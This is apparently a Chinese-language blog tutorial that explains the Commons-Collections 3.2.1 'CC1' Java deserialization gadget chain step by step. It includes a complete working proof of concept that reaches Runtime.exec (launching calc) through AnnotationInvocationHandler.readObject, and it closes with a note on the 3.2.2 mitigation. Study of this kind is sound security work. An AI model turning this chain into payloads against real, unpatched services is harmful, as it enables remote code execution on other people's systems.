Java安全-CC1

环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
oracle_jdk8u65
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

open_jdk8u65
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

maven_3.6.3
https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/
教程:https://blog.csdn.net/MSDCP/article/details/127680844

commons-collections3.2.1
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

将 openjdk 中的 sun 包拷贝到 Oracle_jdk 目录下 src 包中实现在调试的过程中查看源码,maven的源码点击下载就好

这个链主要利用的是org/apache/commons/collections/Transformer.java接口所实现的类

image-20260107205318956

它其中只有一个重要的方法需要重写,transform方法

一、主要链逻辑

1.危险方法调用

Transformer接口的实现类ChainedTransformer重写的Transform方法

1
2
3
4
5
6
7
Class r = Runtime.class;
Transformer chuan1 = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
Transformer chuan2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
Transformer chuan3= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] chuan = {chuan1,chuan2,chuan3};

new ChainedTransformer(chuan).transform(r);

该类调用transform方法会触发命令执行

2.链接

  • 寻找外部类中调用transform方法的类

image-20260108105540127

这里主要用到了TransformedMap这个类

内部的调用逻辑主要为下面几个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
org/apache/commons/collections/map/TransformedMap.java
protected Object checkSetValue(Object value) {

return valueTransformer.transform(value); 1.调用transform

}
->
org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java
public Object setValue(Object value) {

value = parent.checkSetValue(value); 2.调用chexkSetValue

return entry.setValue(value);
}
->

目前追踪到setValue方法,而这个方法的目的是

  • 拦截“通过 Map.Entry 直接改值”的行为,让它也必须先经过父 Map 的校验/转换,再真正写进去。

其实,这个setValue方法本质也就是Map集合中Entry对象的一个setValue方法的重写

所以我们在遍历一个被ChainedTransformer(chuan)修饰的集合获取到Entry时,便可以调用setValue方法

刚好,1中valueTransformer这个类可以在保护构造器中传参控制

image-20260108114737427

而下面这个decorate方法刚好是公开的并且返回一个TransformedMap

image-20260108114933918

利用

1
2
3
4
5
6
7
Map<Object, Object> map = new HashMap<>();
map.put("yy", "yy");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, new ChainedTransformer(chuan));

for(Map.Entry<Object,Object> entry : transformedMap.entrySet()){
entry.setValue(r);
}

image-20260108114311263

3.寻找入口

我们现在已经实现了,通过一个遍历数组,获取到Entry对象,我们最后只需要有一个反序列化类,这个类的readObject方法会遍历数组调用setValue方法

image-20260108120720150

就是它!!看到sun/reflect/annotation/AnnotationInvocationHandler.java这个类中重写的 readObject 方法调用了 setValue 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void readObject(java.io.ObjectInputStream s)

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {


memberValue.setValue(


new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

尝试构造这个类并且进行反序列化

构造方法具体代码如下

image-20260108122154371

这个类参数为一个注解和一个Map集合,刚好可以将我们装饰的 transformedMap 传递,但这个构造方法是default的,所以只能通过反射去获取并且实例化,如下

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, transformedMap);

但是依旧有一些条件需要满足

  1. image-20260108124159578

    这个整体需要满足确认注解存在

    memberTypes = annotationType.memberTypes();,他是由annotationType = AnnotationType.getInstance(type);获取的,AnnotationType.getInstance(type) 的作用一句话概括:

    给某个“注解接口 Class”(比如 Target.class)创建/获取一份“运行期注解元数据缓存”,里面包含这个注解有哪些成员、每个成员应该是什么返回类型、默认值是什么、Retention/Inherited 是什么,用来 校验反序列化出来的注解值、以及 动态代理调用成员方法时的行为

    也就是说它缓存了:

    • memberTypes:成员名 → “代理调用时应该返回的类型”
    • members:成员名 → 反射 Method(主要用于拼异常信息)
    • memberDefaults:成员名 → 默认值

    其中

    memberTypes

    • key:成员名(也就是注解里那些无参方法的名字,比如 value() 的名字就是 "value"
    • value:这个成员应该返回的类型

    Class<?> memberType = memberTypes.get(name);通过我们传递数组的 key 来确认注解存在

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    Map<Object, Object> map = new HashMap<>();
    map.put("value", "yy");
    Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, new ChainedTransformer(chuan));
    // for(Map.Entry<Object,Object> entry : transformedMap.entrySet()){
    // entry.setValue(r);
    // }
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);
    Object obj = constructor.newInstance(Target.class, transformedMap);

    我们传递一个 Target 注解,集合第一个键值对 key 为 value ,他在之后成为name

  2. image-20260108131322257

    这里 memberValue.setValue需要被控制为我们的链对象

    这里我们用到了ConstantTransformer类,使其无论参数无论是啥,都不管,第一层返回的都是Runtime.class

    1
    2
    Class r = Runtime.class;
    Transformer chaun0 = new ConstantTransformer(r);

成功打通

image-20260108134003240

二、Transformer重要实现类

1.InvokerTransformer

InvokerTransformer.java这个类中的transform用来实现危险方法调用

image-20260107205034657

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class InvokerTransformer implements Transformer, Serializable {

//构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

//重写的transform方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

这个方法为利用构造方法控制:

  • iMethodName:要调用的方法名
  • iParamTypes:方法参数类型数组,类型为Class[]
  • iArgs:实际参数数组,类型为Object[]
  • 以及 input:transform 被喂进来的对象是什么

那么 transform(input) 就不再是“固定逻辑”,而是:

对 input 调用任意方法,并传入任意参数(类型要匹配)。

1
2
3
Runtime runtime = Runtime.getRuntime();
Transformer transformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
transformer.transform(runtime);

image-20260107211505974

以此我们实现使用该类进行调用系统命令,但依旧有一个问题,就是Runtime类是无法进行序列化与反序列化的,故因此,我们也利用该类获取Runtime

  • Class对象是可以进行反序列化的,它实现了Serializable接口

    image-20260107211954235

  • 我们可以获取Runtime.class然后调用Runtime.class.getClass()获取**“这个对象”的运行时类型对应的 **Class 对象,然后,利用它调用getMethod方法,然后利用其获取Runtime对象,之后在连接初始的链。

    这里为啥获取class的class在获取getMethod,而不是直接获取grtRuntime方法呢,是因为这个恶意命令加载影响,传进来的Class一定会经过一次getClass,所以导致不能直接获取Runtime.class下的getRuntime方法

    本质上是因为这里直接获取了方法并invoke,我们想要传Class对象,就只能用getMethod中转一下,第二个获取invoke方法同理!

    image-20260107224310604

所以最终

1
2
3
4
5
Method transformer1 = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}).transform(Runtime.class);

Runtime transformer2 = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}).transform(transformer1);

Transformer transformer3 = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(transformer2);

需要注意

Method.invoke(Object obj, Object... args) 的第二个参数

直接调用目标方法时:可以不写

1
2
Method m = Runtime.class.getMethod("getRuntime");
Object rt = m.invoke(null); // static + 无参:args 省略

但如果你是“通过反射去调用 invoke 本身”:第二个参数不能不写

1
2
3
4
5
Method INVOKE = Method.class.getMethod("invoke", Object.class, Object[].class);

// 调用 invoke 这个方法时,它的形参是两个:obj + Object[]
// 所以你得给它两个实参:obj + args数组(无参就传空数组)
Object ret = INVOKE.invoke(某个Method对象, null, new Object[0]);

2.ChainedTransformer类

org/apache/commons/collections/functors/ChainedTransformer.java这个类我们用来优化上面重复的代码。

image-20260108085935171

1
public Object transform(Object object) {
  • 这是一个实例方法,名字也叫 transform

    入参和返回值都是 Object:说明它不限定具体类型,啥都能传/返回

1
for (int i = 0; i < iTransformers.length; i++) {
  • iTransformers 是一个数组(Transformer[]

    这段循环就是:从第 0 个 transformer 一直跑到最后一个

1
object = iTransformers[i].transform(object);
  • 核心:调用第 i 个 transformer 的 transform 方法

    把当前 object 丢进去,得到一个新对象

    再把这个新对象赋值回 object ——
    “覆盖”意味着你只保留最新的结果,中间结果不再保留

1
2
3
    }
return object;
}
  • 循环结束时,object 已经是最后一个 transformer 处理后的结果

优化链

1
2
3
4
5
6
Class r = Runtime.class;
Transformer chuan1 = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
Transformer chuan2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
Transformer chuan3= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] chuan = {chuan1,chuan2,chuan3};
new ChainedTransformer(chuan).transform(r);

这样,我们就实现了,只需要传递一个Transformer数组到ChainTransformer对象然后寻找链调用transform即可

3.ConstantTransformer类

org/apache/commons/collections/functors/ConstantTransformer.java这个类我们把它当作常量类

他的transform方法是返回一个常量类,而且这个类可控

image-20260108133522732

这个方法无论,传入的参数是什么,返回的都是它自己的一个属性iConstant

而这个input可控,通过构造方法就可以实现

image-20260108133633132

所以我们构造一个类,让他调用transform方法时无论参数是啥都返回Runtime

1
2
Class r = Runtime.class;
Transformer chaun0 = new ConstantTransformer(r);

三、回顾

最终的漏洞 poc 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
        Class r = Runtime.class;
Transformer chaun0 = new ConstantTransformer(r);
Transformer chuan1 = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
Transformer chuan2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
Transformer chuan3= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] chuan = {chaun0,chuan1,chuan2,chuan3};
// new ChainedTransformer(chuan).transform(r);
Map<Object, Object> map = new HashMap<>();
map.put("value", "yy");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, new ChainedTransformer(chuan));
// for(Map.Entry<Object,Object> entry : transformedMap.entrySet()){
// entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
// serialize(obj);
unserialize();

大概的链路调用逻辑

1
2
3
4
5
6
7
8
9
10
11
12
InvokerTransformer-transform()
->
TransformedMap-checkSetValue()
->
AbstractInputCheckedMapDecorator-setValue()
->
AnnotationInvocationHandler-readObject()

辅助
ChainedTransformer-transform()
HashMap
ConstantTransformer-transform()

四、Commons Collection包

它是 JDK 自带 java.util.\* 的“增强包”,补了一堆更好用的数据结构、装饰器(decorator)、以及“函数式回调”(Transformer/Predicate/Closure/Factory)工具。官方定位就是“基于并受 JDK 集合框架启发的一套集合类库”。

1.核心

根包通常放的是 接口 + 工具类,给下面的子包(bag/map/iterators/functors…)提供统一抽象。

A. 四个“函数式回调”接口(3.x 很标志性)

这些接口在 3.x 里非常常见,用来把“逻辑”当对象传来传去:

  • Predicateboolean evaluate(Object)(过滤用)
  • TransformerObject transform(Object)(把 A 变 B)
  • Closurevoid execute(Object)(对元素做动作)
  • FactoryObject create()(延迟创建对象)

这些实现大量集中在 functors 包。

B. 常用工具类

  • CollectionUtils:集合并/交/差、判空、计数等(比如“统计每个元素出现次数”)。
  • MapUtilsSetUtilsListUtilsIteratorUtils:各种“补 JDK 缺口”的小工具(4.x/3.x 都有类似思想,名字也很像)。

3.分工

(1)functors:回调/函数对象实现

提供 Predicate/Transformer/Closure/Factory 的一堆现成实现,比如“链式 transformer”、“switch transformer”等。

(2)bag:Bag/Multiset(“带计数的集合”)

像 Python 的 Counter:同一个元素可以出现多次,并能直接拿到出现次数。包内有 HashBagTreeBag 等。 [

(3)bidimap:BidiMap(双向 Map)

既能 key -> value,也能 value -> key 反查(值也要求能唯一映射)。有 DualHashBidiMapTreeBidiMap 等。

(4)buffer:Buffer / FIFO / PriorityBuffer

提供一些队列/缓冲相关结构,比如 UnboundedFifoBufferCircularFifoBuffer 等。

(5)collection / map / list / set 等:装饰器(Decorator)家族

这一类非常多,典型思路是**“包装一个现有集合,并在 add/put 时做额外约束”**:

  • PredicatedXxx:只允许满足 Predicate 的元素进入
  • TransformedXxx:放进去前先做 transform
  • TypedXxx:运行期做类型检查(在没泛型的年代很有用)
  • SynchronizedXxx / UnmodifiableXxx:加锁/只读包装

安全方向的 commons-collections

库本身不是“会自动 RCE”,问题出在“应用把不可信数据做 Java 反序列化(ObjectInputStream.readObject())”。 3.2.1 里 functors 的一些可序列化类,历史上被滥用去拼“gadget chain”,导致在特定反序列化场景下触发任意代码执行风险(著名 CVE 在 2015 年集中爆发)。

Apache 在 3.2.2 之后对 functors 包里“被认为不安全的类”做了处理:在序列化/反序列化时直接抛 UnsupportedOperationException 来降低被利用的风险。